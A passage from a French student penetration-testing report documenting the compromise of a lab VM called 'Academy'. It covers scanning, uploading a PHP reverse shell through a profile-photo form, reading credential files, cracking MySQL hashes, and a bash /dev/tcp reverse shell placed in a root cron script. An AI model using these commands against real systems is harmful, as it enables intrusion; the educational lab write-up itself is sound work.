+ Target Hostname: 10.0.2.8	
+ Start Time: Cost C224-12-30 18:41:15 (GMT1)	
<pre>+ /: The anti-clickjacking X-Frame-Options header is not present. See: https HTTP/Headers/X-Frame-Options</pre>	://developer.mozilla.org/en-US/docs/Web/
+ /: The X-Content-Type-Options header is not set. This could allow the user in a different fashion to the MIME type. See: https://www.netsparker.com/web https://www.netsparker.com/web	r agent to render the content of the site bb-vulnerability-scanner/vulnerabilities/
missing-content-type-header/	
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54).	Apache 2.2.34 is the EOL for the 2.x bra
nch.	
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418	l, size: 5c37b0dee585e, mtime: gzip. See:
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .	See: https://developer.mozilla.org/en-US
/docs/Web/HTTP/Cookies	beer meepsty, developer mozifed org, en ob
+ /phpmyadmin/changelog.php: Cookie back created without the httponly flag. /docs/Web/HTTP/Cookies	See: https://developer.mozilla.org/en-US
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with content	:s: 1.
+ /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and sho	ould be protected or limited to authorize
u nosis.   + /icons/README: Anache default file found. See: https://www.vntweb.co.uk/ar	ache-restricting-access-to-iconsreadme/
+ /phpmyadmin/: phpMyAdmin directory found.	
+ /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should	be protected or limited to authorized h
osts. See: https://typo3.org/	
+ 8254 requests: 0 error(s) and 12 item(s) reported on remote nost + End Time: 2024-12-30 18:45:33 (GMT1) (258 seconds)	
+ 1 host(s) tested	

Figure 25 : Résultat du scan de Nikto

Nous essayons maintenant de trouver des sous-répertoires avec la commande suivante :

dirb http://10.0.2.8/

(kali@kalikali)-[~]
 dirb http://10.0.2.8/

DIRB v2.22 By The Dark Raver

START\_TIME: Fri Jan 10 10:20:14 2025 URL\_BASE: http://10.0.2.8/ WORDLIST\_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

- Scanning URL: http://10.0.2.8/ -+ http://10.0.2.8/index.html (CODE:200|SIZE:10701) ⇒ DIRECTORY: http://10.0.2.8/phpmyadmin/ + http://10.0.2.8/server-status (CODE:403|SIZE:273) - Entering directory: http://10.0.2.8/phpmyadmin/ -+ http://10.0.2.8/phpmyadmin/ChangeLog (CODE:200|SIZE:17598) ⇒ DIRECTORY: http://10.0.2.8/phpmyadmin/doc/ ⇒ DIRECTORY: http://10.0.2.8/phpmyadmin/examples/ + http://10.0.2.8/phpmyadmin/favicon.ico (CODE:200|SIZE:22486) + http://10.0.2.8/phpmyadmin/index.php (CODE:200|SIZE:14555) ⇒ DIRECTORY: http://10.0.2.8/phpmyadmin/js/ + http://10.0.2.8/phpmyadmin/libraries (CODE:403|SIZE:273) + http://10.0.2.8/phpmyadmin/LICENSE (CODE:200|SIZE:18092) ⇒ DIRECTORY: http://10.0.2.8/phpmyadmin/locale/ + http://10.0.2.8/phpmyadmin/phpinfo.php (CODE:200|SIZE:14557) + http://10.0.2.8/phpmyadmin/README (CODE:200|SIZE:1520) + http://10.0.2.8/phpmyadmin/robots.txt (CODE:200|SIZE:26) + http://10.0.2.8/phpmyadmin/setup (CODE:401|SIZE:455) ⇒ DIRECTORY: http://10.0.2.8/phpmyadmin/sql/ + http://10.0.2.8/phpmyadmin/templates (CODE:403|SIZE:273) ⇒ DIRECTORY: http://10.0.2.8/phpmyadmin/themes/ ⇒ DIRECTORY: http://10.0.2.8/phpmyadmin/vendor/

Nous trouvons un service phpMyAdmin et nous tentons de nous y connecter :



Welcome to phpMyAdmin

Language	
English	~
Log in 😡	
Username:	root
Password:	•••••
	Go
Failed to set sess HTTP instead of HTT	sion cookie. Maybe you are using PS to access phpMyAdmin.

Figure 26 : Tentative de connexion à phpMyAdmin

Nous tentons maintenant de trouver des sous répertoires avec une méthode plus violente avec la commande suivante :

```
gobuster dir -u http://10.0.2.7/ -w
/usr/share/wordlists/SecLists/Discovery/Web-Content/directory-
list-2.3-medium.txt --no-error -x php
```

- -u <u>http://10.0.2.7/</u> : spécifie l'URL de la cible sur laquelle l'attaque est effectuée.
- -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt : indique le chemin du fichier de liste de mots (wordlist) à utiliser pour la recherche.
- --no-error : Cette option permet de ne pas afficher d'erreurs (comme les "404 Not Found") dans la sortie de la commande, rendant ainsi la sortie plus claire et plus concise.

Voici ce que nous découvrons :

<pre>(kali@ kalikali)-[/usr/sha gobuster dir -u http://10 tory-list-2.3-medium.txt no</pre>	nre/wordlists/dirbuster] ).0.2.7/ -w /usr/share/wordlists/dirbuster/direc p-error -x php
Gobuster v3.6 by OJ Reeves (@TheColonial) δ	; Christian Mehlmauer (@firefart)
<pre>[+] Url: [+] Method: [+] Threads: [+] Wordlist: .3-medium.txt [+] Negative Status codes: [+] User Agent: [+] Extensions: [+] Timeout:</pre>	http://10.0.2.7/ GET 10 /usr/share/wordlists/dirbuster/directory-list-2 404 gobuster/3.6 php 10s
Starting gobuster in director	y enumeration mode
/.php (Status /academy (Status /phpmyadmin (Status /.php (Status /server-status (Status Progress: 441120 / 441122 (10	<pre>:: 403) [Size: 273] :: 301) [Size: 306] [→ http://10.0.2.7/academy/] :: 301) [Size: 309] [→ http://10.0.2.7/phpmyadmin/] :: 403) [Size: 273] :: 403) [Size: 273] 00.00%)</pre>
Finished	
(kali@kalikali)-[/usr/sha	nre/wordlists/dirbuster]

Figure 27 : Exécution de GoBuster

Nous découvrons qu'il existe un répertoire /academy. Voici ce que nous voyons :

	🦀 php	MyAdmin		Student Login				~			
	→ C	ŵ	0 👌 0	🗝 10.0.2.7/acader			8	] ☆		பி	
Ka		🈚 Kali Tools	🧧 Kali Doc	s 🛛 🗙 Kali Forums	Kali NetHu	nter 🔺 Exploit-DB	📥 Google Hackin	ig DB  (1) C	)ffSec		
				Welc							
		ONLINE REGIST	E COUR RATION	se N							
				PLE	ASE LOGIN	I TO ENTER					
		Enter Reg no	<b>)</b> :								
		10201321									
		Enter Passw	ord :						_		
		💄 Log Me	In								
		This is a fr	ree bootstra	o admin template wi	th basic pages y	ou need to craft your	project. Use this ter	mplate for			
		free to use	e for persona	I and commercial u	se.						
		Some of it	ts features a	are given below :							
		• Res	ponsive Des	ign Framework Used	1						
		• Eas	y to use and	cons included							
		• Clea	an and light (	code used.							

Figure 28 : Page de connexion d'une plateforme de cours en ligne

Nous nous connectons avec les informations que nous avions trouvées précédemment et nous réussissons à nous connecter :

$\leftarrow$ $\rightarrow$ C $\textcircled{a}$	🔿 👌 10.0.2.7/academ	y/my-profile.php		វ	☆ 🛛	பி	≡
🛰 Kali Linux 🛛 🔒 Kali Tools	🧧 Kali Docs 🛛 🗙 Kali Forur	ns 🛛 🧟 Kali NetHuntei	- 🛸 Exploit-Df	3 🔺 Google Hacking D	B 🌗 OffSec		
RL0131	NATION	5					
	ENROLL FOR COURSE	ENROLL HISTORY	MY PROFILE	CHANGE PASSWORD	LOGOUT		

#### STUDENT REGISTRATION

Student Registration	
Student Name	
Rum Ham	
Student Reg No	
10201321	
Pincode	
777777	
CGPA	
7.60	
Student Photo	
	🖸 💿 🔃 🖶 🄗 🥅 🗐 🖶 🌠 🚫 💽 CTRL DRO

Figure 29 : Création de compte réussie

Nous essayons de changer la photo de profil pour voir si cela fonctionne :

	E	NROLL FOR COURSE	ENROLL HISTORY	MY PROFILE	CHANGE PASSWORD	LOGOUT	
		STUDENT REG	ISTRATION				
	Student Regist	ration pdated Successfully !	1				
	Rum Ham Student Reg N	0					
	10201321 Pincode						
	777777 CGPA						
	7.60						
	Student Photo						
	Upload New P	hoto No file selected.					
	Update						

Figure 30 : Changement de photo de profil réussi

Nous essayons également de mettre un fichier texte dans le champ d'envoi, et à notre grande surprise cela fonctionnait également. A partir de ce moment-là, nous avons directement pensé à effectuer un reverse shell.

#### 6. Reverse shell

Nous savons que nous sommes sur une page PHP. Nous cherchons donc sur Internet des informations sur l'existence de scripts ou de commandes qui nous permettraient de faire ce reverse shell PHP.

Nous utilisons donc le site <u>revshells.com</u> et nous décidons d'utiliser l'un des reverse shell qui nous sont proposés : le « PHP PentestMonkey ».



Figure 31 : Reverse Shell généré

Nous remplaçons par la bonne IP et le bon numéro de port, puis nous copions le script dans un fichier que nous nommons **reverse**.php (vous trouverez le lien du GitHub où se trouve le script dans les <u>sources</u>) que nous plaçons à la place du fichier texte. Avant de mettre à jour la photo de profil, nous exécutons cette commande :

#### nc -lnvp 3333

 -l : Indique à Netcat de fonctionner en mode écoute (*listening*), c'est-à-dire qu'il attendra des connexions entrantes sur un port spécifique

- -n : Empêche Netcat de rechercher les noms d'hôte des machines ciblées. Cela permet d'accélérer la connexion et d'éviter de générer une requête DNS
- -v : Active le mode verbose, c'est-à-dire qu'il fournit plus d'informations et de détails sur ce qui se passe, comme les connexions entrantes et sortantes
- -p: Spécifie le port sur lequel Netcat doit écouter les connexions. Dans ce cas, il s'agit du port 3333

Nous lançons le script en cliquant sur « update » sur la page web du site en ayant préalablement *uploadé* le script PHP. Voici ce que nous obtenons :



Figure 32 : Reverse Shell obtenu

Nous obtenons donc la connexion avec un utilisateur s'appelant « www-data ». Nous ne sommes pas encore « root » mais nous avons bien avancé. Nous devons maintenant passer à la partie escalade de privilèges.

## 7. Escalade de privilèges

Tout d'abord, comme vous pouvez le voir sur la capture précédente, nous avons un shell très peu esthétique, nous décidons donc de l'améliorer pour nous faciliter la tâche en utilisant la commande suivante (nous avons trouvé cette commande sur différents sites sur Internet, vous trouverez les différents liens dans les <u>sources</u>) :

```
python -c 'import pty;pty.spawn("/bin/bash")' :
```

- python -c : Lance une commande Python directement depuis la ligne de commande. L'option -c permet d'exécuter le code Python qui suit entre les guillemets
- **import pty** : Importe le module pty
- pty.spawn("/bin/bash") : Cette fonction démarre un nouveau processus en utilisant le programme spécifié, ici /bin/bash (le shell Bash). pty.spawn permet d'exécuter le programme dans un pseudo-terminal, ce qui permet d'obtenir un shell interactif à l'intérieur du terminal actuel

Ensuite nous allons dans le fichier **/etc/passwd** pour avoir des informations sur les utilisateurs :

www-data@academy:/home\$ cd /etc
cd /etc Student Reg No
www-data@academy:/etc\$ cat passwd
cat passwd 10201821
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin/olo
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
grimmie:x:1000:1000:adm <u>i</u> nistrator,,,:/home/grimmie:/bin/bash
www-data@academy:/etc\$

Figure 33 : Obtention du fichier /etc/passwd

Maintenant dans le fichier /etc/shadow :



Figure 34 : Refus de l'ouverture du fichier /etc/shadow

Mains nous n'avons pas les autorisations.

D'après ce que nous avons vu, nous essayons de chercher dans le dossier de l'utilisateur « grimmie ». Nous découvrons que **grimmie** (propriétaire) peut lire, écrire et exécuter le fichier, les membres du groupe **administrator** peuvent lire et exécuter le fichier et tous les autres utilisateurs peuvent seulement lire le fichier :



Figure 35 : Droits sur le fichier backup.sh

Nous ne pouvons rien faire à part lire le fichier que voici :



Figure 36 : Lecture du fichier backup.sh

Voici ce que le script backup.sh fait :

- Supprime le fichier backup.zip qui se trouve dans le répertoire /tmp
- Compresse le fichier backup.zip dans le répertoire /var/www/html/academy/includes
- Change les permissions de **/tmp/backup.zip** pour que seul le propriétaire puisse le lire, l'écrire et l'exécuter

Nous avons ensuite décidé d'aller dans le répertoire qui nous est indiqué dans le script :



Figure 37 : Affichage du répertoire /var/www/html/academy/includes

Nous y découvrons plusieurs fichiers, mais le seul qui est intéressant est le fichier config.php :



Figure 38 : Affichage du fichier config.php

Nous découvrons donc que le mot de passe de l'utilisateur grimmie est My\_V3ryS3cur3\_P4ss.

Nous lançons directement une connexion SSH :

```
-(kali®kalikali)-[~]
<mark>_$ ssh</mark> grimmie@10.0.2.7
grimmie@10.0.2.7's password:
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun May 30 03:21:39 2021 from 192.168.10.31
grimmie@academy:~$ su
Password:
su: Authentication failure
grimmie@academy:~$ su
Password:
su: Authentication failure
grimmie@academy:~$
```

Figure 39 : Connexion à SSH

La connexion SSH fonctionne, mais notre tentative de connexion en tant que root ne fonctionne pas.

Nous avons ensuite exploré les différents fichiers et dossiers de l'utilisateur grimmie. A partir de ce moment, nous avons perdu énormément de temps à chercher dans les différents fichiers et dossiers de l'utilisateur grimmie sans grands résultats, le seul fichier que nous retrouvons est **backup.sh**. Nous décidons donc de l'éditer pour effectuer un reverse-shell :

#### bash -i >& /dev/tcp/10.0.2.5/7777 0>&1

Après exécutions nous remarquons qu'il est non concluant car nous retombons directement sur l'utilisateur grimmie :



Figure 40 : Reverse Shell

Nous avons donc décidé d'essayer de nous connecter à la base de données MariaDB pour voir si elle contenait des informations intéressantes. Nous nous connectons avec le login et le mot de passe de l'utilisateur « grimmie » :

un data Dacademu (un fun (html/academu/includes for unal u daimais a
www-datamacademy/var/www/ntmt/academy/includes\$ mysqt -u grimmie -p
mysqlu_grimmiepls
Enter password: My_V3ryS3cur3_P4ss
Welcome to the MariaDB monitor. Commands end with $\cdot$ or $d$
Very New New Strand Stran
Your Mariabs connection in its 59
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
chingle changing permissions of '/tmp/hash': Operation not permitted
Type 'help:'.or 'he' for help: Type 'he' to clear the current input statement
Type help, for an off the party of the content input statement.
grilmniemalacademny:~> ./backup.sn
MariaDB [(none)]> SHOW DATABASES; motoscilla decision decision
SHOW DATABASES; permissions of //mp/bash/: Operation not permitted
+ <del></del>
Database domests / Lickin sh
t is formation askens I
Information_schema
mysql
onlinecourse
performance schema
++
5 rows in set (0.010 sec)
MariaDB [(none)]>

Figure 41 : Connexion à la base de données MariaDB

Nous décidons d'inspecter la première base de données qui est « information\_schema » mais nous ne trouvons rien d'intéressant et, après recherches, nous avons appris que la base information\_schema est une base système contenant des informations sur la structure de toutes les autres bases de données sur le serveur MariaDB. Donc rien d'intéressant trouvé dans cette base de données.

Nous avons ensuite regardé dans la base de données « onlinecourse » et les seules informations importantes trouvées étaient dans la base de données « admin » :

Database changed MariaDB [onlineco show tables;	burse]> show tables; rectory						
<pre>+ Tables_in_onlinecourse   + Tables_in_onlinecourse   + Tables_in_onlinecourse   + Tables_in_onlinecourse   + Tables_in_onlinectory     admin /: is a directory     course and more that a directory     department op 5 / back   p.5     course and more that a directory     department op 5 / back   p.5     semester end of the //imp/bash &amp; Permission denied   session demice could   00 backup.sh   students demice could   00 backup.sh   userlog create regular   file //imp/bash &amp; Permission denied   userlog create regular   file //imp/bash &amp; Permission denied ++ = of //imp/bash &amp; Permission denied +</pre>							
MariaDB [onlinecourse]> select * from admin; select * from admin;							
id   username	password	creationDate	updationDate				
1   admin	21232f297a57a5a743894a0e4a801fc3	2020-01-24 11:21:18	29-05-2021 11:46:49 PM				
1 row in set (0.0			+				

Figure 42 : Visualisation de la base de données "OnlineCourse"

Nous avons donc le hash du mot de passe de l'admin, nous mettons cela de côté et continuons notre exploration.

L'unique table avec des informations intéressantes est « user » :

and the second second second	1. Chamat a	- anima-								
-bash:-cd:-g+im	me: No su	∙ grinnic <del>ch-file</del> ∔ <del>or</del>	-direct+	<del>ry</del>	-+		+			
Hosteiacad   U	Jser \$ c	Password					Select_priv	v I	Inse	ert_pri∖
Index_prively	Alter_pri	v   Show_d	b_priv	Super_priv	Create_tm	р_	table_priv	L(	ock_t	ables_p:
_user_priv   Ev	/ent_priv	Trigger_	priv   C	reate_table:	space_priv	D	elete_histo:	ry_	priv	ssl_t
tion_string   p	bassword_e	xpired   i	.s_role	default_ro	le   max_sta	te	ment_time			
+ <del>bash: ./: I</del> +-a	-direct+r	y				-+		-+		
t <del>rimmie@acade</del> +y	<del>r:-\$ cd ba</del>	<del>ck</del> ŧ <del>p.sh                                    </del>	+		+			+		
-bash:-cd:-+ack	<del>up.sh: Ne</del>	+ <del>-a direct</del>			+					+
grinnic0acad+my	<del>r: \$ ./bac</del> l	kup.sh-+-	+		+		+			
plocalhostc er	ootregula:	*8DEB44F79	A130674A	714BA1A6638	7EC111A82BD1		Y		Y	
hMod: changing	<b>Y</b> permissi	on <b>l Y</b> f '/t		:YOperation	lo <b>Y</b> permitt			ΙY		
grimmie∂aca∥e¥y		7Y0 backu	ip.sh 🛛 Y			Y				
grimmie@acad	:~\$ ./bac	kup.sh 丨 N	i l				0.000000			
<pre> plocalhostc ep</pre>	oma regu∥a∶	*03E2854B1	BC2353C7	FED1F780C55	F7845322DC57		N		Ν	
hNod: changig	Npermissi	on <mark>: N</mark> f '/t		:NOperation	IoN permitt			l N		
grimmie@aca eNv		haNkup.sh	N			Ν				
grimmie0acad mN	:~\$ ./bac	kup.sh   N	I I				0.000000			
localhost   g	rimmie	*FBAFF8215	F65CDBF0	82236E749CD	2D772DC921C7		Y		Y	
ĨΥ Ι	Ŷ	Y		Y	I Y			ΙÝ		
ΙΎ		ΙY	ΙÝ			Y				
I N	J	I N					0.000000			
++	+-					-+		-+-		

Figure 43 : Visualisation de la table "user"

Nous avons maintenant le hash de l'utilisateur root est nous remarquons qu'il est différent de celui d'admin, nous sommes donc sûr que c'est 2 mots de passe sont utilisés pour des accès différents.

Nous passons maintenant au crack du hash du mot de passe **root** ainsi que du mot de passe **admin**, sachant que nous avons déjà connaissance du mot de passe de l'utilisateur **grimmie** et nous décidons de ne rien tester sur **pma** pour le moment.

Voici le hash « root » :

HASH: 8DEB44F79A130674A714BA1A66387EC111A82BD1	
Possible Hashs: [+] SHA-1 [+] MySQL5 - SHA-1(SHA-1(\$pass))	
Least Possible Hashs: [+] Tiger-160 [+] Haval-160 [+] SHA-1(HMAC) [+] Tiger-160(HMAC) [+] Tiger-160(HMAC) [+] RipeMD-160(HMAC) [+] SHA-1(MANGOS) [+] SHA-1(MANGOS) [+] SHA-1(MANGOS2) [+] sha1(\$past.\$salt) [+] sha1(\$past.\$salt) [+] sha1(\$salt.\$pass)) [+] sha1(\$salt.sha1(\$pass)) [+] sha1(\$salt.sha1(\$pass)) [+] sha1(\$salt.sha1(\$pass))) [+] sha1(\$salt.sha1(\$pass))) [+] sha1(\$salt.sha1(\$pass))) [+] sha1(\$salt.sha1(\$pass)))	
<pre>[+] sha1(\$username.\$pass) [+] sha1(\$username.\$pass.\$salt) [+] sha1(md5(\$pass)) [+] sha1(md5(sha1(\$pass))) [+] sha1(sha1(\$pass)) [+] sha1(sha1(\$pass)) [+] sha1(sha1(\$pass).\$salt) [+] sha1(sha1(\$pass).substr(\$pass,0,3)) [+] sha1(sha1(\$past),spass)) [+] sha1(sha1(sha1(\$pass))) [+] sha1(sha1(sha1(\$pass))) [+] sha1(sha1(sha1(\$pass))) [+] sha1(strtolower(\$username).\$pass)</pre>	
HASH:	

Figure 44 : Test du type de hash de root

Après crack voici ce que nous découvrons :



Nous savons maintenant que le mot de passe de root est 26021997.

Nous passons maintenant au hash de l'utilisateur « admin » :



Le mot de passe de « admin » est donc « admin » :



Figure 45 : Obtention du mot de passe admin à partir du hash

Nous testons une connexion SSH avec root sans succès :



Figure 46 : Tentative de connexion SSH avec utilisateur root

Pierre FROSTIN et Matthias DUMAS – BUT2 R&T La Rochelle – 2024-2025 Page **35** sur **91**  Nous tentons également une connexion SSH avec admin sans succès :



Figure 47 : Tentative de connexion SSH avec utilisateur admin

Nous tentons une connexion à la base de données avec root mais sans succès :



Figure 48 : Tentative de connexion à la base de données avec utilisateur root

Également avec admin mais encore sans résultats :



Figure 49 : Tentative de connexion à la base de données avec utilisateur root

A partir de ce moment, notre dernière chance était de tester les accès avec **phpMyAdmin**. Nous commençons avec root et admin, mais seuls les accès avec les identifiants de grimmie ont fonctionné :
phpMyAdmin	← 🛱 Server: localhost	~
<u>A 5</u> 0 0 0 0 0	🔋 Databases 📗 SQL 🕼 Status 🖭 User accounts 🚍	Export 🖼 Import 🔻 More
Recent Favorites	Conoral cattings	Databasa saruar
w New	General settings	Database server
Information_schema	🚱 Change password	Server: Localhost via UNIX socket
<ul> <li>mysql</li> <li>onlinecourse</li> <li>performance_schema</li> </ul>	Server connection collation : utf8mb4_unicode_ci v	<ul> <li>Server type: ManaDB</li> <li>Server connection: SSL is not being used @</li> <li>Server version: 10.3.27 MariaDB</li> </ul>
🗓 🗐 phpmyadmin	Appearance settings	Server version: 10.3.27-manabe- 0+deb10u1 - Debian 10     Protocol version: 10     User: grimmie@localhost
	🔗 Language 🨡 English 🗸 🗸	Server charset: UTF-8 Unicode (utf8mb4)
	Operation of the second sec	
	• Font size: 82% V	Web server
		<ul> <li>Apache/2.4.38 (Debian)</li> <li>Database client version: libmysql - mysqlnd 5.0.12-dev - 20150407 - \$id: 7cc7cc96e675f6d72e5cf0f267f48e167c2: \$</li> <li>PHP extension: mysqli @ mbstring @</li> <li>PHP version: 7.3.27-1~deb10u1</li> </ul>
		phpMyAdmin
	Console	Version information: 4.9.7, latest stable

Figure 50 : Connexion à phpMyAdmin avec l'utilisateur grimmie

Voici les seules informations utiles que nous trouvons :



Figure 51 : Affichage des droits de l'utilisateur grimmie

Nous savons maintenant que l'utilisateur « grimmie » a tous les privilèges, mais cela ne nous donne pas plus d'informations sur la procédure d'escalade de privilèges. A partir de ce moment, nous avons beaucoup cherché dans les différents répertoires et fichiers de « grimmie » mais nous ne trouvons rien de réellement intéressant ou exploitable.

Après de nombreuses recherches sur Internet, et également après un travail collectif avec d'autres groupes, nous avons eu connaissance d'un logiciel s'appelant **Pspy** qui permet de voir les processus Linux qui tournent en root sans pour autant être root, vous trouverez le script dans les <u>sources</u>.

Néanmoins, la difficulté était de lancer le script sur la machine cible. Nous avons certes téléchargé le script qui se trouve sur la Kali, mais nous n'avions aucune idée de la procédure pour que la machine Academy puisse obtenir ce script. Nous avons tout d'abord pensé à mettre en place un serveur FTP mais, après avoir effectué des recherches, nous avons trouvé que la solution la plus simple était d'ouvrir un service HTTP puis faire un **wget**, voici comment nous avons procédé sur la machine Kali :

**python3** – **m http.server** 80 : Cette commande lance un serveur HTTP simple sur le port 80 (par défaut). Tous les fichiers du répertoire courant seront disponibles en téléchargement via HTTP.

wget <u>http://10.0.2.5/pspy64</u> : Cette commande télécharge le script pspy64.sh depuis le serveur web hébergé sur Kali.

**chmod** +x pspy64 : Cela modifie les permissions du fichier pour le rendre exécutable.

Nous obtenons le fichier depuis la machine distante :

grimmie@academy:~\$ wget http 2024-12-30 12:26:36 htt Connecting to 10.0.2.5:80 HTTP request sent, awaiting Length: 3104768 (3.0M) [app]	p://10.0.2.5/pspy64 tp://10.0.2.5/pspy64 connected. response 200 OK Lication/octet-stream]			
Saving to: 'pspy64'				
10.0.2.8 30/Dec/2024 18 pspy64	100%[	2.96M	KB/s	in 0.1s
2024-12-30 12:26:36 (27.4 MB	3/s) - 'pspy64' saved [3104768/3104768]			

Figure 52 : Réception du script sur la machine cible

Voici ce que nous avons depuis la kali avec le service web ouvert :

<pre>[mail: [*]</pre> [*]
<pre>     python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) 10.0.2.8 [30/Dec/2024 18:24:37] code 404, message File not found 10.0.2.8 [30/Dec/2024 18:24:37] "GET /pspy64.sh HTTP/1.1" 404 - </pre>
10.0.2.8 [30/Dec/2024 18:24:43] "GET /pspy64 HTTP/1.1" 200 -
Exception occurred during processing of request from ('10.0.2.8', 35470) Traceback (most recent call last):
File "/usr/lib/python3.11/socketserver.py", line 691, in process_request_thread self.finish_request(request, client_address)
File "/usr/lib/python3.11/http/server.py", line 1310, in finish_request self.RequestHandlerClass(request, client_address, self,
File "/usr/lib/python3.11/http/server.py", line 671, ininit super()init(*args,:**kwargs)ed to snoop on processes without need for
File "/usr/lib/python3.11/socketserver.py", line 755, ininit self.handle()
File="/usr/lib/python3.11/http/server.py", line 436, in handle Fs. Also great self.handle_one_request()
File <sup>®</sup> /usr/lib/python3.11/http/server.py", line 424, in handle_one_request method() adding is a bad idea.
File "/usr/lib/python3.11/http/server.py", line 678, in do_GET self.copyfile(f, self.wfile)
File "/usr/lib/python3.11/http/server.py", line 877, in copyfile shutil.copyfileobj(source, outputfile)
File "/usr/lib/python3.11/shutil.py", line 200, in copyfileobj fdst_write(buf)
File "/usr/lib/python3.11/socketserver.py", line 834, in write selfsock.sendall(b)
BrokenPipeError: [Errno 32] Broken pipe
10.0.2.8 [30/Dec/2024 18:26:25] "GET /pspy64 HTTP/1.1" 200 -

Figure 53 : Console Kali avec les logs du serveur HTTP

Nous avons d'abord essayé de copier le fichier dans le répertoire **/etc** mais nous n'avions pas les droits d'où les erreurs :



Figure 54 : Console distante téléchargeant le fichier

Nous lançons le script après avoir changé les droits pour l'exécuter. Voici ce que nous obtenons :



Figure 55 : Lancement du script pspy

Nous réalisons que, sans de nombreuses recherches sur internet ni un travail collectif avec d'autres groupes, nous n'aurions jamais trouvé la solution. Mais ce qu'il fallait remarquer, c'est que le fichier **backup.sh** s'exécutait en root toutes les minutes environ :

2024/12/30 12 2024/12/30 12 2024/12/30 12 2024/12/30 12 2024/12/30 12	:30:46 CMD: :31:01 CMD: :31:01 CMD: :31:01 CMD: :31:01 CMD:	UID=0         PID=1           UID=0         PID=1!           UID=0         PID=1!           UID=0         PID=1!           UID=0         PID=1!	/sbin/init 559   /usr/sbin/CRON -fs_request_thread 560 cl /usr/sbin/CRON -f 561   /bin/sh -c /home/grimmie/backup.sh 562 cl /bin/bash /home/drimmie/backup.sh	
202 (/ 12/ 00 12				
2024/12/30 12: 2024/12/30 12:	32:01 CMD: 32:01 CMD:	UID=04:37   PID=1 UID=04:43   PID=1	575spy 4/bin/sh≣+c./home/grimmie/backup. 576spy 4/biñ/bàsh≣/hôme/grimmie/backup.s	sh h

Figure 56 : Exécution du script chaque minute

Il nous suffit juste d'attendre une minute pour que le reverse shell que nous avons exécuté précédemment fonctionne, et qu'il nous connecte en tant que root :

```
(kali®kalikali)-[~]
listening on [any] 7777 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.8] 42846
bash: cannot set terminal process group (1622): Inappropriate ioctl for device
bash: no job control in this shell
root@academy:~# whoami
whoami
root
root@academy:~# ls
ls
flag.txt
root@academy:~# cat flag.txt
cat flag.txt
Congratz you rooted this box !
Looks like this CMS isn't so secure ...
I hope you enjoyed it.
If you had any issue please let us know in the course discord.
Happy hacking !
root@academy:~#
```

Figure 57 : Obtention de l'accès root sur la machine cible

Pour conclure, nous remarquons la marche énorme qu'il y a entre la première machine et la deuxième, et que celle-ci a été très chronophage. Elle nous a permis de mettre en place les stratégies de base dans un pentest. Cette machine nous a aussi permis de découvrir les différents outils essentiels que nous réutiliserons dans les machines à traiter à l'avenir.

# Machine vulnérable 3 : DEV

## 1. Découverte de l'adresse IP et des services de la machine

Nous recherchons dans un premier temps l'adresse IP de la machine cible :

Currently scar	nning: Finished!	Screen rom 4 host	View:	Unique Hosts otal size: 240	
IP	At MAC Address	Count	Len	MAC Vendor / Host	File Action namelcrotik
172.16.0.1 172.16.0.2 172.16.0.3 172.16.0.5	52:54:00:12:35:00 52:54:00:12:35:00 08:00:27:61:d3:a8 08:00:27:ca:c0:13	1 1 1 1	60 60 60 60	Unknown vendor Unknown vendor PCS Systemtechnik PCS Systemtechnik	GmbH

Figure 58 : Adresse IP

La machine cible est connectée avec l'adresse IP 172.16.0.5. Nous scannons les ports avec NMAP :

└─\$ nmap -T4 -pA 172.16.0.	5 V 🖸 172.10.0.5
Starting Nmap 7.94SVN ( https	://nmap.org ) at 2024-12-12 08:49 CET
Nmap scan report for 172.16.0	📭 🐱 💭 Kali Forums 🛛 🥂 Kali NetHunter 🛸 Expl
Host is up (0.0048s latency).	
